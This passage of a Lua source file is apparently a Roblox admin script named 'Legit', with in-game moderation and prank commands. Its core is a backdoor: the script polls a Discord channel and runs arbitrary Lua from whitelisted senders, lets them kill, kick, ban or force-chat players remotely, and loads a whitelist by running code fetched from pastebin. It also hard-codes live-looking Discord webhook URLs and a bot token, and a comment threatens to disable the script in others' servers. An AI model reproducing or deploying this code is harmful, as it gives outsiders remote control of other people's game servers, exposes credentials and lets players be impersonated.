  3498. t.c('banned player','Really red',speaker,4)
  3499. end;
  3500. end)
  3501. end
  3502. end
  3503. end)
  3504. end
  3505. end,
  3506. {'poll','ballot'})
  3507.  
  3508. addcmd('disabletabs','disables tabs',1337,0,
  3509. function(speaker,args)
  3510. _tab('click to confirm',c.purple,speaker,
  3511. function()
  3512. alert.p('saved all libraries',speaker)
  3513. alert.p('starting to disable tabs in 5.4 seconds',speaker)
  3514. delay(6,disabletabs)
  3515. end,'dmself',3)
  3516. end,
  3517. {'stop'})
  3518.  
  3519. addcmd('update','updates instance of tabs',1337,0,
  3520. function(speaker,args)
  3521. update=true
  3522. alert.p('updating',speaker)
  3523. delay(1,disabletabs)
  3524. end)
  3525.  
  3526. addcmd('shutdown','kills game',1337,0,
  3527. function(speaker,args)
  3528. x=tostring(args[1])
  3529. for i,v in pairs(plrs:GetPlayers'')do
  3530. v:Kick(x)
  3531. end
  3532. end)
  3533. addcmd('injects','a list of injects',4,0,
  3534. function(speaker,args)
  3535. dmp(speaker)
  3536. for _,v in pairs(Children.Injects:GetChildren()) do
  3537. if v:IsA("Folder") then
  3538. if #v:GetChildren() > 0 then
  3539. _tab(v.Name,'Deep orange',speaker,function()
  3540. dmp(speaker)
  3541. for _,av in pairs(v:GetChildren()) do
  3542. _tab(av.Name,'Cyan',speaker,function()
  3543. av:Clone().Parent=speaker.Backpack
  3544. dmp(speaker)
  3545. _tab('Succesfully injected '..av.Name,'Lime green',speaker,function() dmp(speaker) end)
  3546. SendChat.MessageToPlayer(speaker,'Succesfully injected '..av.Name,'Lime green','Size24','SourceSansLight')
  3547. cb("Legit",speaker.Name..' injected '..av.Name)
  3548. end)
  3549. end
  3550.  
  3551. end)
  3552. end
  3553.  
  3554. end
  3555.  
  3556. end
  3557. end,{'injs'})
  3558. addcmd('insert','insert menu',6,0,function(speaker,args)
  3559. insertmenu(speaker)
  3560. end)
  3561. addcmd('inject','usage: [plr] [inject]',4,2,function(speaker,args)
  3562. if args[1] ~="" and args[2]~="" then
  3563. local fplr=_match(args[1],speaker)
  3564. for _,v in pairs(fplr) do
  3565. for _,va in pairs(Children.Injects:GetChildren()) do
  3566. if va:IsA("Folder") then
  3567. if #va:GetChildren() > 0 then
  3568. for _,av in pairs(va:GetChildren()) do
  3569. if av.Name == args[2] then
  3570. av:Clone().Parent=v.Backpack
  3571. _tab('Succesfully injected '..av.Name,'Lime green',speaker,function() dmp(speaker) end)
  3572. end
  3573. end
  3574. end
  3575. end
  3576. end
  3577. end
  3578. else
  3579. _tab('Error','Lime green',speaker,function() dmp(speaker) end)
  3580. end
  3581. end,{'inj'})
  3582. addcmd('deepclean','cleans deep',3,0,function(speaker,args)
  3583. deepclean()
  3584. end)
  3585. addcmd('orb','Runs orb',0,0,
  3586. function(speaker,args)
  3587. chatlegit("Loading Orb...")
  3588. Orb()
  3589. end)
  3590. --[[addcmd('irc','runs irc',0,0,
  3591. function(speaker,args)
  3592. IRCcmd(speaker)
  3593. end)--]]
  3594. addcmd('teleport','tps a player to a plr',4,2,
  3595. function(speaker,args)
  3596. local plr = _match(args[1],speaker)
  3597. local plr2 = _match(args[2],speaker)
  3598. pcall(function()
  3599. plr.Character.Torso.Position = plr2.Character.Torso.Position
  3600. end)
  3601. end)
  3602. --Discordhook=require(script.Needed.DiscordHook)
  3603. local devs = {
  3604. "PointCoded",
  3605. "TheLuaDoge",
  3606. "CoolMLGPlayer",
  3607. "Reloxz",
  3608. }
  3609. Banned={}
  3610. whitelist=loadstring(game:service'HttpService':GetAsync('https://pastebin.com/raw/KXbQntm6'))()--]]
  3611. privateserver=function(plr)
  3612. local TS = game:GetService("TeleportService")
  3613. if psacode == nil then
  3614. psacode = TS:ReserveServer(game.PlaceId)
  3615. end
  3616. local code = psacode
  3617. TS:TeleportToPrivateServer(game.PlaceId,code,plr)
  3618. end
  3619. Fire = function(person, color)
  3620. local pos = person.Character.Torso.Position
  3621. for _, v in pairs(person.Character:GetChildren()) do
  3622. if v:IsA'Part' and v.Name ~= "HumanoidRootPart" then
  3623. if v.Name ~= "Head" then
  3624. for i = 0, 10, 1 do
  3625. local part = Instance.new("Part", person.Character)
  3626. part.Name = "Burnt:"..v.Name
  3627. local l = Instance.new("PointLight", part)
  3628. l.Brightness = 5
  3629. l.Range = 5
  3630. part.FormFactor = "Custom"
  3631. part.Size = Vector3.new(v.Size.X + .2, v.Size.Y / 10, v.Size.Z + .2)
  3632. part.CanCollide = false
  3633. part.Transparency = .5
  3634. if _ % 2 == 0 then
  3635. if i % 2 == 0 then
  3636. part.BrickColor = BrickColor.new(color)
  3637. else
  3638. part.BrickColor = BrickColor.new("Really black")
  3639. end
  3640. else
  3641. if i % 2 == 0 then
  3642. part.BrickColor = BrickColor.new("Really black")
  3643. else
  3644. part.BrickColor = BrickColor.new(color)
  3645. end
  3646. end
  3647. part.Material = Enum.Material.Neon
  3648. l.Color = part.Color
  3649. part.TopSurface = "Smooth"
  3650. part.BottomSurface = "Smooth"
  3651. local w = Instance.new("Weld")
  3652. w.Part1 = v
  3653. w.Part0 = part
  3654. w.C1 = CFrame.new(0, (1 - v.Size.Y / 10 * i), 0)
  3655. w.Parent = person.Character.Torso
  3656. w.Name = v.Name
  3657. v.Touched:connect(function(hit)
  3658. if hit.Parent.Name ~= person.Name then
  3659. local hum = hit.Parent:findFirstChild("Humanoid")
  3660. if hum then
  3661. for a, d in pairs(hit.Parent:GetChildren()) do
  3662. if d:IsA'Part' and d.Name ~= "HumanoidRootPart" then
  3663. d.BrickColor = BrickColor.new("Really black")
  3664. d.Material = "CorrodedMetal"
  3665. d.Transparency = 0
  3666. elseif d.Name == "HumanoidRootPart" then
  3667. d:ClearAllChildren()
  3668. elseif
  3669. d:IsA'Shirt' or d:IsA'Pants' or d:IsA'Hat' or d:IsA'BodyColors' then
  3670. d:Destroy()
  3671. end
  3672. end
  3673. end
  3674. end
  3675. end)
  3676. end
  3677. --v.Anchored=true
  3678. elseif v.Name == "Head" then
  3679. local fire = Instance.new("Fire", v)
  3680. fire.SecondaryColor = Color3.new(1, 0, 0)
  3681. v.Material = Enum.Material.Neon
  3682. v.BrickColor = BrickColor.new(color)
  3683. v.Transparency = .5
  3684. pcall(function()
  3685. v.face.Transparency = 1
  3686. local decal = Instance.new('Decal', v)
  3687. decal.Face = "Front"
  3688. decal.Texture = "http://www.roblox.com/asset/?id=209712379"
  3689. end)
  3690. end
  3691. elseif v:IsA'Hat' then
  3692. v.Handle.Material = Enum.Material.Neon
  3693. v.Handle.Mesh.TextureId = ""
  3694. v.Handle.BrickColor = BrickColor.new(color)
  3695. v.Handle.Transparency = .5
  3696. end
  3697. end
  3698. person.Character:MoveTo(pos)
  3699. end
  3700. function GetPlayer(msg,Reason)
  3701. local FoundPlayers = {}
  3702. local find
  3703. if Reason == true then
  3704. ypcall(function()
  3705. find = string.find(msg,";")
  3706. msg = string.sub(msg,1,find-1)
  3707. end)
  3708. end
  3709. if msg == "all" or msg == "everyone" then
  3710. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  3711. table.insert(FoundPlayers,Plr)
  3712. end
  3713. elseif msg == "devs" or msg == "developers" then
  3714. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  3715. for i,v in pairs(devs) do
  3716. if Plr.Name == v then
  3717. table.insert(FoundPlayers,Plr)
  3718. end
  3719. end
  3720. end
  3721. elseif msg == "noobs" or msg == "nubs" then
  3722. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  3723. if Plr.AccountAge < 364 and Plr.Name ~= "PointCoded" then
  3724. table.insert(FoundPlayers,Plr)
  3725. end
  3726. end
  3727. elseif msg == "veterans" or msg == "elders" then
  3728. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  3729. if Plr.AccountAge >= 364 then
  3730. table.insert(FoundPlayers,Plr)
  3731. end
  3732. end
  3733. else
  3734. local Z = false
  3735. for i,Plr in pairs(game:GetService("Players"):GetPlayers()) do
  3736. local N = string.lower(Plr.Name)
  3737. msg = string.lower(msg)
  3738. if string.match(N,msg) then
  3739. if Z == false then
  3740. Z = true
  3741. table.insert(FoundPlayers,Plr)
  3742. end
  3743. end
  3744. end
  3745. end
  3746. return FoundPlayers
  3747. end
  3748. local _M={}
  3749. discordserver=tonumber(math.random(10,78)).."."..tonumber(math.random(100,168))..".1."..tonumber(math.random(10,68))
  3750. _M.webhook="https://discordapp.com/api/webhooks/312257976528404480/ctURnO0WCOr1XxE8ajecVLyu2IHz7G0QSikBi4mQf6qedQceDbmtlabQV4xhOm8TsxgK"
  3751. _M.linkhook="https://discordapp.com/api/webhooks/314827621877940226/l35XEmE7Kg-cxea2gJZhVMbxWPxBVrAZD1CTbnxNnA6_GU0RB3Qo_sRJulUKkbf9jne8"
  3752. --[[_M.generalweb="https://discordapp.com/api/webhooks/307852012635029504/5MIwLVcDxVbIzmRkGNmCcyyiDxGZQhEoWlMG1_5RiDtSRmx7s3qoFDmPJk1UEPazYgOw"
  3753. _M.spamweb="https://discordapp.com/api/webhooks/312630691601055745/TY6TSTLrWoRO--p8GtK5ZMNRDZDn19vCJg4L_ttvgDkNnUItXCwDekCAVWvojt9hU7g7"
  3754. --]]_M.announceweb="https://discordapp.com/api/webhooks/312630691601055745/TY6TSTLrWoRO--p8GtK5ZMNRDZDn19vCJg4L_ttvgDkNnUItXCwDekCAVWvojt9hU7g7"
  3755. --[[_M.otherweb="https://discordapp.com/api/webhooks/308282775083941888/fUQ13KXhGsZLpqYf8K5QjjeZHUEFNd4uaH_zdG5ZOMWSaG4mKHMGTOHeTEzFA07GzHgm"
  3756. --]]function _M.SendDiscordMessage(plraa,msg,avatar)
  3757. local msgg = {
  3758. ["content"] = msg,
  3759. ["username"] = plraa,
  3760. ["avatar_url"] = avatar
  3761. }
  3762. local wc = game:GetService("HttpService")
  3763. local jsonmsg = wc:JSONEncode(msgg)
  3764. wc:PostAsync(_M.webhook, jsonmsg)
  3765. end
  3766. function _M.SendLogMessage(plraa,msg,avatar)
  3767. local msgg = {
  3768. ["content"] = msg,
  3769. ["username"] = plraa,
  3770. ["avatar_url"] = avatar
  3771. }
  3772. local wc = game:GetService("HttpService")
  3773. local jsonmsg = wc:JSONEncode(msgg)
  3774. wc:PostAsync(_M.linkhook, jsonmsg)
  3775. end
  3776. function _M.announce(msg)
  3777. local msgg = {
  3778. ["content"] = msg,
  3779. ["username"] = "Legit In-Game Announcement",
  3780. ["avatar_url"] = "https://cdn.discordapp.com/avatars/304913475803676674/ed0827639cf177c90b2027fea3510ce4.png?size=2048"
  3781. }
  3782. local wc = game:GetService("HttpService")
  3783. local jsonmsg = wc:JSONEncode(msgg)
  3784. wc:PostAsync(_M.announceweb, jsonmsg)
  3785. end
  3786. --[[
  3787. function _M.other(name,msg,img)
  3788. local msgg = {
  3789. ["content"] = msg,
  3790. ["username"] = name,
  3791. ["avatar_url"] = img
  3792. }
  3793. local wc = game:GetService("HttpService")
  3794. local jsonmsg = wc:JSONEncode(msgg)
  3795. wc:PostAsync(_M.otherweb, jsonmsg)
  3796. end
  3797.  
  3798. function _M.GeneralMessage(plraa,msg,avatar)
  3799. local msgg = {
  3800. ["content"] = msg,
  3801. ["username"] = plraa,
  3802. ["avatar_url"] = avatar
  3803. }
  3804. local wc = game:GetService("HttpService")
  3805. local jsonmsg = wc:JSONEncode(msgg)
  3806. wc:PostAsync(_M.generalweb, jsonmsg)
  3807. end
  3808. function _M.Spam(plraa,msg,avatar)
  3809. local msgg = {
  3810. ["content"] = msg,
  3811. ["username"] = plraa,
  3812. ["avatar_url"] = avatar
  3813. }
  3814. local wc = game:GetService("HttpService")
  3815. local jsonmsg = wc:JSONEncode(msgg)
  3816. wc:PostAsync(_M.spamweb, jsonmsg)
  3817. end--]]
  3818. SDM = function(plraa,msg,avatar)
  3819. _M.SendDiscordMessage(plraa,msg,avatar)
  3820. end
  3821. SLM = function(plraa,msg,avatar)
  3822. _M.SendLogMessage(plraa,msg,avatar)
  3823. end
  3824. announce = function(text)
  3825. _M.announce(text)
  3826. end
  3827. function ForceChat(plr,msg)
  3828. FChat.ForceChat(plr,msg)
  3829. OxChat(plr.Name,msg)
  3830. if getrank(plr.Name) then
  3831. discordchat(plr.Name.." [Rank: "..getrank(plr.Name).."]",msg,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
  3832. else
  3833. discordchat(plr.Name,msg,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(plr.Name).."&width=180&height=180")
  3834. end
  3835. end
  3836. --return _M
  3837.  
  3838. --PointCoded was here. I made the discord to roblox connection. CoolMLGPlayer, by removing this line, you breach the contract. By breaking the contract and by me finding proof, I will unfriend you, ban you on a shit tone of admins including prismane and exile as well as disable legit from running in servers which are running my script.
  3839.  
  3840. _M.Connection = {} -- making a new directory inside _M so i dont have to change all ur shit
  3841. local Connection = _M.Connection
  3842. local Http = game:GetService("HttpService")
  3843. Connection.Base = "https://canary.discordapp.com/"
  3844. Connection.Hooks = {
  3845. webhook = Connection.Base.."api/webhooks/312257976528404480/ctURnO0WCOr1XxE8ajecVLyu2IHz7G0QSikBi4mQf6qedQceDbmtlabQV4xhOm8TsxgK",
  3846. --[[generalhook = Connection.Base.."api/webhooks/307852012635029504/5MIwLVcDxVbIzmRkGNmCcyyiDxGZQhEoWlMG1_5RiDtSRmx7s3qoFDmPJk1UEPazYgOw",
  3847. spamweb = Connection.Base.."api/webhooks/307855497070116864/_iHFwHJZvxKHvAfD76v6_lnE7EFVNlnfPCFu464Ze8NxIb9axik7Oo4ZsXukaxmvO6_2"
  3848. --]]}
  3849. Connection.GuildId = "312257789655515137"
  3850. Connection.Channels = {
  3851. robloxlogs = "312257923977838594",
  3852. }
  3853. Connection.Headers = {
  3854. authorization = "Bot MzA0OTEzNDc1ODAzNjc2Njc0.C-omlA.ZpGXW_LLd93OU6le-L4YUZoXNXw", -- this wont work until discord authorize the bot
  3855. }
  3856.  
  3857. Connection.Received = function(Data)
  3858. ypcall(function()
  3859. spawn(function()
  3860. local Messages = {}
  3861. while wait(1) do -- it checks for messages every 1 second. Decreasing this number will clog up the http service so it is not reccomended.
  3862. for i,Channel in pairs(Connection.Channels) do
  3863. local GetData = Http:GetAsync(Connection.Base.."api/v6/channels/"..Connection.Channels[i].."/messages", false, Connection.Headers)
  3864. local Decode = Http:JSONDecode(GetData)
  3865. if Messages[1] ~= Decode[1].timestamp then
  3866. table.insert(Messages, 1, Decode[1].timestamp)
  3867. Data(Decode[1], i)
  3868. end
  3869. end
  3870. end
  3871. end)
  3872. end)
  3873. end
  3874. Connection.Received(function(Data, Channel)
  3875. ypcall(function()-- if the person who sent the message is not a bot
  3876. if not Data['webhook_id']then
  3877. local Author = Data.author
  3878. local Message = Data.content
  3879. local Username = Author.username
  3880. local Tag = Author.discriminator
  3881. local Id = Author.id
  3882. if string.sub(Message,1,5) ~= "sexe;" and string.sub(Message,1,3) ~= "fc;" and string.sub(Message,1,6) ~= "esexe;" then
  3883. if Tag ~= "8432" and Tag ~= "5314" then
  3884. cb("Legit Discord","["..Username.."]: "..Message)
  3885. elseif Tag == "8432" then
  3886. cb("CoolMLGDiscord",Message)
  3887. elseif Tag == "5314" then
  3888. cb("AzureDiscord",Message)
  3889. end
  3890. end
  3891. --SendChat.MessageAll("[Legit Discord] ["..Username.."]: "..Message,BrickColor.new("Lime green").Color,"Size24","SciFi")
  3892. --if Id == "3505" or Id == "8432" or Id == "6782" or Id == "3293" then
  3893. --[[if string.sub(Message,1,3) == "exe;" then
  3894. local ToExe = string.sub(Message,5)
  3895. local execute = loadstring(ToExe)
  3896. local Run,Error = ypcall(function()
  3897. execute()
  3898. end)--]]
  3899. if ircwhitelist[Tag]then
  3900. if string.sub(Message,1,5) == "sexe;" then
  3901. if ircwhitelist[Tag].Level == 3 then
  3902. ToExe11=string.sub(Message,6)
  3903. local omgx=nil
  3904. local success,error=ypcall(function()omgx={loadstring(ToExe11)}end)
  3905. local func,err=unpack(omgx);
  3906. if success then
  3907. print(func())
  3908. SDM("Legit","Script ran successfully",nil)
  3909. else
  3910. SDM("Legit",err,nil)
  3911. end
  3912. end
  3913. elseif string.sub(Message,1,6) == "esexe;" then
  3914. if Id == "184329989833883648" then
  3915. ToExe111=string.sub(Message,7)
  3916. local omgxx=nil
  3917. local success,error=ypcall(function()omgxx={loadstring(ToExe111)}end)
  3918. local func,err=unpack(omgxx);
  3919. if success then
  3920. print(func())
  3921. SDM("Legit","Script ran successfully",nil)
  3922. else
  3923. SDM("Legit",err,nil)
  3924. end
  3925. end
  3926.  
  3927.  
  3928. elseif string.sub(Message,1,4) == "exe;" then
  3929. if ircwhitelist[Tag].Level == 3 then
  3930. local ToExe = string.sub(Message,5)
  3931. local x=nil
  3932. local success,errorr=ypcall(function()x={loadstring(ToExe)}end)
  3933. local func,err=unpack(x);
  3934. if success then
  3935. print(func())
  3936. SDM('Legit','Script ran successfully',nil)SDM("Legit",err,nil)
  3937. elseif not success then
  3938. SDM("Legit Error",errorr,nil)
  3939. end
  3940. end
  3941. elseif string.sub(Message,1,5) == "eexe;" then
  3942. if Id == "184329989833883648" then
  3943. local ToExe112 = string.sub(Message,6)
  3944. local xmlg=nil
  3945. local success,errorr=ypcall(function()xmlg={loadstring(ToExe112)}end)
  3946. local func,err=unpack(xmlg);
  3947. if success then
  3948. print(func())
  3949. SDM('Legit','Script ran successfully',nil)SDM("Legit",errorr,nil)
  3950. elseif not success then
  3951. SDM("Legit Error",errorr,nil)
  3952. end
  3953. end
  3954. --[[local ToExe = string.sub(Message,5)
  3955. local execute = loadstring(ToExe)
  3956. local Run,Error = ypcall(function()
  3957. execute()
  3958. end)--]]
  3959. elseif string.sub(Message,1,9) == "shutdown;" then
  3960. if ircwhitelist[Tag].Level == 3 or ircwhitelist[Tag].Level == 2 then
  3961. local msg=string.sub(Message,10)
  3962. for i,Player in pairs(game:service'Players':GetPlayers()) do
  3963. Player:Kick("[Legit]: "..msg)
  3964. end
  3965. end
  3966. elseif string.sub(Message,1,5) == "kill;" then
  3967. if ircwhitelist[Tag].Level == 1 or ircwhitelist[Tag].Level == 2 or ircwhitelist[Tag].Level == 3 then
  3968. local msg=string.sub(Message,6)
  3969. local Players=GetPlayer(msg,true)
  3970. for i,Player in pairs(Players) do
  3971. Player.Character:BreakJoints()
  3972. SDM("Legit","Killed "..Player.Name,nil)
  3973. end
  3974. end
  3975. elseif string.sub(Message,1,3) == "ps;" then
  3976. if ircwhitelist[Tag].Level == 2 or ircwhitelist[Tag].Level == 3 then
  3977. local msg=string.sub(Message,4)
  3978. local Players=GetPlayer(msg,true)
  3979. for i,Player in pairs(Players) do
  3980. privateserver(Player)
  3981. SDM("Legit","Teleported "..Player.Name.." to a private server",nil)
  3982. end
  3983. end
  3984. elseif string.sub(Message,1,8) == "respawn;" then
  3985. if ircwhitelist[Tag].Level == 1 or ircwhitelist[Tag].Level == 2 or ircwhitelist[Tag].Level == 3 then
  3986. local msg=string.sub(Message,9)
  3987. local Players=GetPlayer(msg,true)
  3988. for i,Player in pairs(Players) do
  3989. Player:LoadCharacter()
  3990. SDM("Legit","Respawned "..Player.Name,nil)
  3991. end
  3992. end
  3993. elseif string.sub(Message,1,6) == "unchar;" then
  3994. if ircwhitelist[Tag].Level == 1 or ircwhitelist[Tag].Level == 2 or ircwhitelist[Tag].Level == 3 then
  3995. local msg=string.sub(Message,7)
  3996. local Players=GetPlayer(msg,true)
  3997. for i,Player in pairs(Players) do
  3998. Player.CharacterAppearanceId=Player.UserId
  3999. Player:LoadCharacter()
  4000. SDM("Legit","Uncharred"..Player.Name,nil)
  4001. end
  4002. end
  4003. elseif string.sub(Message,1,5) == "fire;" then
  4004. if ircwhitelist[Tag].Level == 1 or ircwhitelist[Tag].Level == 2 or ircwhitelist[Tag].Level == 3 then
  4005. local msg = string.sub(Message,6)
  4006. local Players = GetPlayer(msg,true)
  4007. local Reason = string.find(msg,";")
  4008. Reason = string.sub(msg,Reason + 1)
  4009. for i,Player in pairs(Players) do
  4010. Fire(Player,Reason)
  4011. end
  4012. end
  4013. elseif string.sub(Message,1,3) == "fc;" then
  4014. if ircwhitelist[Tag].Level == 1 or ircwhitelist[Tag].Level == 2 or ircwhitelist[Tag].Level == 3 then
  4015. local msg = string.sub(Message,4)
  4016. local Players = GetPlayer(msg,true)
  4017. local Reason = string.find(msg,";")
  4018. Reason = string.sub(msg,Reason + 1)
  4019. for i,Player in pairs(Players) do
  4020. ForceChat(Player,Reason)
  4021. end
  4022. end
  4023. elseif string.sub(Message,1,6) == "sbexe;" then
  4024. if ircwhitelist[Tag].Level == 1 or ircwhitelist[Tag].Level == 2 or ircwhitelist[Tag].Level == 3 then
  4025. local msg = string.sub(Message,7)
  4026. local Players = GetPlayer(msg,true)
  4027. local Reason = string.find(msg,";")
  4028. Reason = string.sub(msg,Reason + 1)
  4029. for i,Player in pairs(Players) do
  4030. sbexe(Reason,Player)
  4031. end
  4032. end
  4033. elseif string.sub(Message,1,5) == "char;" then
  4034. if ircwhitelist[Tag].Level == 1 or ircwhitelist[Tag].Level == 2 or ircwhitelist[Tag].Level == 3 then
  4035. local msg = string.sub(Message,6)
  4036. local Players = GetPlayer(msg,true)
  4037. local Reason = string.find(msg,";")
  4038. Reason = string.sub(msg,Reason + 1)
  4039. for i,Player in pairs(Players) do
  4040. if tostring(Reason) then
  4041. Player.CharacterAppearanceId=game.Players:GetUserIdFromNameAsync(Reason)
  4042. elseif tonumber(Reason) then
  4043. Player.CharacterAppearanceId=Reason
  4044. end
  4045. Player:LoadCharacter()
  4046. SDM("Legit","Charred "..Player.Name.." as "..game.Players:GetNameFromUserIdAsync(Player.CharacterAppearanceId),nil)
  4047. end
  4048. end
  4049. elseif string.sub(Message,1,4) == "ban;" then
  4050. if ircwhitelist[Tag].Level == 3 then
  4051. local msg = string.sub(Message,5)
  4052. local Players = GetPlayer(msg,true)
  4053. local Reason = string.find(msg,";")
  4054. Reason = string.sub(msg,Reason + 1)
  4055. local Duration = string.find(Reason,";")
  4056. Duration = string.sub(Reason,Duration + 1)
  4057. for i,plyr in pairs(Players) do
  4058. banList[tostring(plyr.UserId)] = {Name=plyr.Name, BannedBy=Username, Reason=Reason, Timestamp=os.time(), Duration=Duration}
  4059. banStore:SetAsync(banKey, banList);
  4060. plyr:Kick(Reason)
  4061. SDM("Legit","Banned "..plyr.Name.." for "..Reason,nil)
  4062. end
  4063. end
  4064. elseif string.sub(Message,1,10) == "remoteban;" then
  4065. if ircwhitelist[Tag].Level == 3 then
  4066. local msg = string.sub(Message,11)
  4067. local Player = msg
  4068. local Reason = string.find(msg,";")
  4069. Reason = string.sub(msg,Reason + 1)
  4070. local Duration = string.find(Reason,";")
  4071. Duration = string.sub(Reason,Duration + 1)
  4072. local success, userId = pcall(function() return game:service'Players':GetUserIdFromNameAsync(Player); end);
  4073. if (not success) then
  4074. return SDM("Legit","Error player not found",nil);
  4075. end
  4076. banList[tostring(userId)] = {Name=Player, BannedBy=Username, Reason=Reason, Timestamp=os.time(), Duration=Duration}
  4077. banStore:SetAsync(banKey, banList);
  4078. SDM("Legit","Banned "..Player.." for "..Reason,nil)
  4079. end
  4080. elseif Message == "banned;" then
  4081. if ircwhitelist[Tag].Level == 3 then
  4082. for userId, data in pairs(banList) do
  4083. local name, bannedBy, reason, timestamp, duration = data.Name, data.BannedBy, data.Reason, data.Timestamp, data.Duration;
  4084. local timeLeftInDays = duration-math.floor((os.time()-timestamp)/86400);
  4085. if (timeLeftInDays > 0) then
  4086. SDM("Legit",name.." - Banned by: "..bannedBy.." - Days left: "..timeLeftInDays.." - Reason: "..reason,nil);
  4087. else
  4088. banList[userId] = nil;
  4089. end
  4090. end
  4091. end
  4092. elseif string.sub(Message,1,6) == "unban;" then
  4093. if ircwhitelist[Tag].Level == 3 then
  4094. local msg = string.sub(Message,7)
  4095. local plr = msg
  4096. for userId, data in pairs(banList) do
  4097. if (string.find(string.lower(data.Name),string.lower(plr),1,true) == 1) then
  4098. banList[userId] = nil;
  4099. banStore:SetAsync(banKey, banList);
  4100. SDM("Legit","Unbanned "..data.Name,nil)
  4101. return;
  4102. end
  4103. end
  4104. end
  4105. elseif string.sub(Message,1,4) == "god;" then
  4106. if ircwhitelist[Tag].Level == 1 or ircwhitelist[Tag].Level == 2 or ircwhitelist[Tag].Level == 3 then
  4107. local msg=string.sub(Message,5)
  4108. local Players=GetPlayer(msg,true)
  4109. for i,Player in pairs(Players) do
  4110. Player.Character.Humanoid.MaxHealth=math.huge
  4111. Player.Character.Humanoid.Health=math.huge
  4112. end
  4113. end
  4114. elseif string.sub(Message,1,5) == "kick;" then
  4115. if ircwhitelist[Tag].Level == 2 or ircwhitelist[Tag].Level == 3 then
  4116. local msg = string.sub(Message,6)
  4117. local Players = GetPlayer(msg,true)
  4118. local Reason = string.find(msg,";")
  4119. Reason = string.sub(msg,Reason + 1)
  4120. for i,Player in pairs(Players) do
  4121. Player:Kick(Reason)
  4122. SDM("Legit","Kicked "..Player.Name.." for "..Reason,nil)
  4123. end
  4124. end
  4125. -- do what you want here coolmlg.
  4126. -- Message is their message
  4127. -- Author is a table with a tone of information about who did the message
  4128. -- Username is the username of the person who made the message.
  4129. end
  4130. end
  4131. end
  4132. end)
  4133. end)
  4134. game:GetService("Players").PlayerAdded:connect(function(Plr)
  4135. if Banned[Plr.Name] then
  4136. Plr:Kick(Banned[Plr.Name].Reason)
  4137. end
  4138. end)
  4139. discordchat=function(plr,text,avatar)
  4140. _M.SendDiscordMessage(plr,text,avatar)
  4141. end
  4142. TruthTeller=function(text)
  4143. _M.GeneralMessage("A Truth teller",text,nil)
  4144. end
  4145. MLGBot=function(text)
  4146. _M.GeneralMessage("A MLG Bot",text,nil)
  4147. end
  4148. function cbb(cb,cm)
  4149. OxChat(cb,cm)
  4150. if ChatService:GetSpeaker(cb) == nil then
  4151. local chb=ChatService:AddSpeaker(cb)
  4152. chb:JoinChannel("All")
  4153. chb:SayMessage(cm, "All", {})
  4154. if getrank(cb) then
  4155. SDM(cb.." [Rank: "..getrank(cb).."]",cm,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(cb).."&width=180&height=180")
  4156. else
  4157. SDM(cb,cm,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(cb).."&width=180&height=180")
  4158. end
  4159. else
  4160. local chb=ChatService:GetSpeaker(cb)
  4161. chb:SayMessage(cm, "All", {})
  4162. if getrank(cb) then
  4163. discordchat(cb.." [Rank: "..getrank(cb).."]",cm,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(cb).."&width=180&height=180")
  4164. else
  4165. discordchat(cb,cm,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(cb).."&width=180&height=180")
  4166. end
  4167. end
  4168. end
  4169. addcmd('cb','creates a chat bot',1337,2,function(speaker,args)
  4170. local cb=args[1]
  4171. local cm=args[2]
  4172. OxChat(cb,cm)
  4173. if ChatService:GetSpeaker(cb) == nil then
  4174. local chb=ChatService:AddSpeaker(cb)
  4175. chb:JoinChannel("All")
  4176. chb:SayMessage(cm, "All", {})
  4177. if getrank(cb) then
  4178. discordchat(cb.." [Rank: "..getrank(cb).."]",cm,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(cb).."&width=180&height=180")
  4179. else
  4180. discordchat(cb,cm,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(cb).."&width=180&height=180")
  4181. end
  4182. else
  4183. local chb=ChatService:GetSpeaker(cb)
  4184. chb:SayMessage(cm, "All", {})
  4185. if getrank(cb) then
  4186. discordchat(cb.." [Rank: "..getrank(cb).."]",cm,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(cb).."&width=180&height=180")
  4187. else
  4188. discordchat(cb,cm,"https://www.roblox.com/headshot-thumbnail/image?userId="..plrs:GetUserIdFromNameAsync(cb).."&width=180&height=180")
  4189. end
  4190. end
  4191. end)
  4192. addcmd('chat','makes legit say something',6,1,function(speaker,args)
  4193. local cb=args[1]
  4194. OxChat("Legit",cb)
  4195. if ChatService:GetSpeaker("Legit") == nil then
  4196. local chb=ChatService:AddSpeaker("Legit")
  4197. chb:JoinChannel("All")
  4198. chb:SayMessage(cb, "All", {})
  4199. else
  4200. local chb=ChatService:GetSpeaker("Legit")
  4201. chb:SayMessage(cb, "All", {})
  4202. end
  4203. end)
  4204. addcmd('changetextcolor','change textcolor of a player',1337,2,function(speaker,args)
  4205. local name=args[1]
  4206. local color=args[2]
  4207. if ChatService:GetSpeaker(name) ~= nil then
  4208. ChatService:GetSpeaker(name):SetExtraData("ChatColor", BrickColor.new(color).Color)
  4209. else
  4210. ChatService:AddSpeaker(name)
  4211. ChatService:GetSpeaker(name):SetExtraData("ChatColor", BrickColor.new(color).Color)
  4212. end
  4213. end,{'ctc'})
  4214. addcmd('changenamecolor','change namecolor of a player',1337,2,function(speaker,args)
  4215. local name=args[1]
  4216. local color=args[2]
  4217. if ChatService:GetSpeaker(name) ~= nil then
  4218. ChatService:GetSpeaker(name):SetExtraData("NameColor", BrickColor.new(color).Color)
  4219. else
  4220. ChatService:AddSpeaker(name)
  4221. ChatService:GetSpeaker(name):SetExtraData("NameColor", BrickColor.new(color).Color)
  4222. end
  4223. end,{'cnc'})
  4224. addcmd('changefont','change font of a player',1337,2,function(speaker,args)
  4225. local name=args[1]
  4226. local font=args[2]
  4227. if ChatService:GetSpeaker(name) ~= nil then
